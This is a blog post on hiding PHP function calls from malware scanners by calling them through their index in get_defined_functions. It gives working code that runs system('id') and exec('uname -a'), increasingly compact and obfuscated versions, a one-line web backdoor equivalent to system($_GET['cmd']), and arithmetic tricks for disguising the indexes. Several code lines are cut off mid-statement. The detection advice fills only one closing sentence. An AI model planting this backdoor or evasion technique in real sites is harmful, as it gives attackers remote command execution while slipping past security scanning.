Calling functions without their names in PHP

2014-04-10 • Malware

Strings. Ah juicy and precious strings! It is common for malware scanners and IDPS to look for suspicious strings in network traffic and files... but what if there are no strings to look for? (whaaa?)

Today I was wondering about some features found in many interpreted languages of listing its internal functions in some sort of list/array. This way we can enumerate the `[index] => function_name` relationship, replace all `function_name` s on the code to their index and *voilá*!

You might ask: *"But you can just put those indexes on the rulesets."* I answer: *"Yes, that's true"*. But different server/PHP configurations might generate the different indexes. Besides, numbers are much more fun to obfuscate than strings.

PHP, because it's widely used on the wild

I wasn't remembering if PHP had this or not but I was pretty confident due to its nature. Turns out that `get_defined_functions` is there as expected. With the aid of `call_user_func_array` it enabled the calling of functions without writing down their names in any encoded form (but it is required that you enumerate them beforehand).

The Code

This snippet has fewer than 10 lines (and it's optimized for readability) and is our indirect caller function.

```
function callfunc() {

    $df = get_defined_functions(); # returns Array([internal] => Array([0] => zend_v

    $args = func_get_args();
    $func_index = array_shift($args);
    $func_name = $df['internal'][$func_index];
```

```
    return call_user_func_array($func_name, $args);
}//end :: callfunc
```

Then you can call your functions like this:

```
/**
 * Depends on each server. Check it out with
 *  print_r(get_defined_functions());
 *
 * Some examples
 * [544] => phpinfo
 * [639] => exec
 * [640] => system
 * [643] => passthru
 * [644] => shell_exec
 * [596] => str_replace
 */
callfunc(640, 'id'); # system('id')
print callfunc(639, 'uname -a'); # exec('uname -a')
print callfunc(596, "%body%", "black", "&lt;body text='%body%'&gt;"); # str_replace(
```

The output

Just for illustration:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data) Linux guineapig 2.6.32-5-amd64
```

We can even make it a little more compact

```
function callfunc() {
    $df = get_defined_functions();
    $args = func_get_args();
    return call_user_func_array($df['internal'][array_shift($args)], $args);
}//end :: callfunc
```

But Jan, there are still tree other internal function names exposed in your code. (func_get_args, call_user_func_array and array_shift)

Heck, you're right. Let's make this better.

```
function callfunc() {
    $df = get_defined_functions();
    $args = $df['internal'][3]();
    return $df['internal'][734]($df['internal'][$df['internal'][982]($args)], $args)
}//end :: callfunc
```

or even...

```
function callfunc() {
    $df = get_defined_functions();
    $df = $df['internal'];
    $args = $df[3]();
    return $df[734]($df[$df[982]($args)], $args);
}//end :: callfunc
```

MOAR compact!

```
 function f(){$a=get_defined_functions();$a=$a['internal'];$b=$a[3]();return $a[734]
```

A simple silly backdoor

```
# equiv. to system($_GET['cmd']);
 function f(){$a=get_defined_functions();$a=$a['internal'];$b=$a[3]();return $a[734]
```

How the numbers could be obfuscated to bypass simple rules?

Well, with the very simple math stuff:

- XOR/AND/OR all entries: $index^$key, $index&$key, $index|$key
- SUM/SUB/DIV/MUL all entries: $index+$key,$index-$key, $index/$key, $index*$key

And so on.

So, what to do to prevent/catch those things?

Keep an eye for `get_defined_functions`.

Cya!

#backdoor #malware #obfuscation #php

< VirtuaPlant GoldenEye 2.1 released with even more randomness >